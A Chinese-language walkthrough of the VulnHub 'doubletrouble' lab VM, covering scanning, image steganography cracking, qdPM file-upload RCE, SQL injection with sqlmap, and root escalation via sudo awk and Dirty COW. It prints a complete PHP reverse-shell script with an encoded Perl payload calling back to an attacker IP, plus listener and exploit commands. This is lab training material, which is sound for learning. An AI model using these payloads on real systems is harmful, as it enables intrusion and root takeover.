Vulnhub实战-doubletrouble靶机

靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/

下载页面的ova格式文件导入vmware,或者vitrualbox打开即可

靶机1渗透测试

1.靶机描述

描述
回到顶部
获得标志
难度:容易
关于 vm:从 virtualbox 测试并导出。dhcp 和嵌套 vtx/amdv 启用。您可以通过电子邮件与我联系以进行故障排除或问题。
这对 VirtualBox 比 VMware 更有效
这里有个小tips:因为这个ova格式文件是从vitrualbox虚拟机里面导出来的,所以你如果在vmware里面打开就接收不到
ip地址,因为vitrualbox的网卡名字是eth什么的,后面接数字一般。然后vmware的网卡名字一般是ens开头,所以你在
vitrualbox导出的虚拟机在vmware打开就不会自动获取IP,你需要把网卡改成一致然后重启才能获取IP。如果不会改网
卡,请参考下面链接:
https://blog.csdn.net/PeterWuu/article/details/105640638
这个教程第二步好像是:rw single init=/bin/bash
应该不是i,教程上面写的是i,可能作者手误吧!

2.进行主机发现,端口扫描

首先我们把虚拟机导入vmware或者vitrualbox,这里我是导入的vmware,然后开启它就好了

  1. 进行主机探测

nmap -sn 192.168.33.0/24

我这里局域网的虚拟机比较多,如果你的局域网虚拟机也比较多分辨不出来的话,你可以通过mac地址去匹配对应的ip地址,mac地址在虚拟机设置里面可以看到

  1. 进行端口扫描

nmap -sS -p- -v -O 192.168.33.163

我们可以看到开启了22和80端口,证明开启了SSH和web服务,这里前面文章有提到,你可以尝试试试暴力破解SSH的用户名密码,用kali自带的hydra工具,经过我上一次尝试,发现机率微乎其微,除非用的是admin:123456这样的弱口令。

3.web服务检测

我们访问ip地址192.168.33.163得到如下页面

我们还是首先用dirsearch目录扫描一下

python3 dirsearch.py -u 'http://192.168.33.163' -i 200

我们可以看到果然扫出了一下常见目录,挨个目录查看,都没有发现什么东西,最后发现/secret/目录下面有一张图片,百度发现可以用stegseek工具来暴力破解这张图片。

下载参考链接:https://www.freebuf.com/sectool/261633.html

然后我们通过kali自带的字典rockyou.txt,这个字典在kali的/usr/share/wordlist目录下面,是一个压缩包,需要先进行解压

stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output

我们破解完这张图片之后生成一个output文件,发现里面有一个用户名跟密码,不用猜肯定是刚刚那个登录页面的用户名密码,我们来试一试吧!

登陆进去之后发现一个文件上传,在个人设置里面

qdPM漏洞利用

在一开始的登陆页面我们可以看到有个qdPM 9.1,搜索qdPM 9.1的漏洞,我们找到一个远程代码执行漏洞。https://www.exploit-db.com/exploits/50175, 把脚本下载下来。这个脚本的回车有点问题,需要自己调一下。不过,这个漏洞也挺简单的,其实就是用户的myAccount界面的图片那一栏是可以上传文件的,那我们就可以上传一个php反弹shell的脚本。

这里我不知道啥情况,反正这个脚本我搞不明白,python脚本怎么上传php反弹shell呢,如果有大佬知道还望告知,这里我找到一个php的反弹shell的脚本,大家改一下ip,端口就可以直接上传用了。

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

这里比较搞笑的是,无论是跑脚本还是自己手动上传,网页和代码的反馈都会让你觉得自己是不是没有上传成功。会报错,但是其实已经上传成功了。

上传之后脚本在刚刚开始我们目录扫描的那个/uploads/users目录下

然后kali监听10086端口,这个端口是你脚本自己设置的端口。

nc -lnvp 10086

提权

接下来我们看一下当前用户能够使用的sudo权限,这里显示当前用户可以免密执行awk命令

搜索一下awk提权,我们可以这样:

sudo awk 'BEGIN {system("/bin/bash")}'

我们可以看到此时我们已经是root用户了,看看root文件夹,发现了一个ova文件,百度看了大佬博客才知道这又是一个虚拟机,好家伙!不愧是doubletrouble啊,果然跟题目还有点呼应,我们下载下来这个虚拟机文件在vmware中开启。

我们在靶机中开启http服务功能,然后kali通过wget下载下来,下载下来之后在vmware中开启靶机。然后还是之前的步骤,扫描主机ip,端口,服务。

python3 -m http.server 9000

wget http://192.168.33.163:9000/doubletrouble.ova

如下是python -m的用法:

靶机2渗透测试

1.进行主机探测

nmap -sn 192.168.33.0/24

2.端口,服务发现

nmap -sS -p- -v -O 192.168.33.252

3.web服务测试

首先我们通过端口扫描发现开启了80端口,说明存在http服务,我们访问ip地址,看到如下一个登录框页面:

这里让我们输入用户名密码,然而我们并不知道账户名也不知道密码。尝试扫描网站目录发现没有额外的信息,就只有这么一个网站。

sqlmap注入获取用户名密码

我们还想到有一个神器sqlmap,通过sqlmap看看这个登录框存不存在注入,抓包保存文件1.txt,在kali里面打开sqlmap扫描,命令如下:

sqlmap -r /root/1.txt --current-db      //爆出数据库名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns //爆字段
sqlmap -r /root/1.txt -D doubletrouble -T users --dump //爆内容

我们看到这里有两对密码,第一对似乎没啥用,第二对能够连上ssh

ssh clapton@192.168.33.252

提权

我们看了一下,这个用户只是普通用户,目录下面有一个user.txt,里面是一串字符,我们接下来就是想办法拿到root权限,看看root文件夹有什么东东。我们先看看系统版本

uname -a

这里有个脏牛漏洞,漏洞编号CVE-2016-5195漏洞类型内核竞态条件漏洞漏洞危害本地提权影响范围Linux kernel>2.6.22。该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。他有很多个poc,其中这个poc可以生成一个账号名为firefart的root用户,https://github.com/FireFart/dirtycow

我们把poc下载到靶机的/tmp目录下,然后编译,执行。

这里因为靶机没有git,wget,yum这些命令,所以我们可以把代码复制下来,在靶机通过touch dirty.c创建一个c文件,然后粘贴进去,编译执行就行了。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中间会让我们输入一个密码,这个密码就是firefart的密码,然后我们登录就可以了


Vulnhub实战-doubletrouble靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  3. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  4. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. web整合Spring和Hibernate

    上一篇是简单整合web和Spring, 这一篇是整合hibernate: 连接池c3p0: spring5.0, hibernate5.0 jars: ------------------------ ...

  2. 对于Oracle、mysql和sql server中的部分不同理解

    1.在mysql中事务默认是自动提交的,只有设置autocommit为0的时候,才用自己commit:(提到commit不要忘了rollback哦,回滚)2.但是在oracle中必须自己commit: ...

  3. vue 中this.$on 为什么要放在created中?

    最近在思考一个问题为什么一定要在created中写this.$on,可以放在mounted中吗 如果触发和监听组件在页面上都创建了,那么可以放在mounted中 这种情况在实际工作中比较常见,如果在触 ...

  4. JAVA《多线程多人上线通知案例》

    package com.wangbiao.palyermanager; import com.wangbiao.player.Player; /** * TODO * * @author wangbi ...

  5. CSS样式下border的几种线型

    在用border的时候经常会忘记它有多少种线型以及各种线型的写法:每次都得从头开始,或是用到Google.百度之类的,有空整理了一下 (1)none (没有边框,无论边框宽度设为多大) (2)dott ...

  6. 【SpringMVC】HttpMessageConverter报文信息转换器

    HttpMessageConverter HttpMessageConverter,报文信息转换器,将请求报文转换为Java对象,或将Java对象转换为响应报文 HttpMessageConverte ...

  7. Appium问题解决方案(4)- Error while obtaining UI hierarchy XML file: com.android.ddmlib.SyncException

    背景 操作步骤 运行 uiautomatorviewer.bat 点击左上角的 Device ScreensShot 报错 截图 解决方法 网上还是有很多方法的,可能造成的原因不同,我是第六种方法解决 ...

  8. 通过cglab 实现 Spring AOP

    1新建一个目标类 public class StudentService { public void delete(){ System.out.println("删除学生"); } ...

  9. C# AutoMaper简单使用

    AutoMapper它是一种对象与对象之间的映射器,让AutoMapper有意思的就是在于它提供了一些将类型A映射到类型B这种无聊的实例,只要B遵循AutoMapper已经建立的惯例,那么大多数情况下 ...

  10. SpringSecurity-Shiro-初见

    目录 简介 实战环境搭建 SpringSecurity 认证和授权 权限控制和注销 记住我 Shiro 快速上手 shiro整合mybais 简介 在 Web 开发中,安全一直是非常重要的一个方面. ...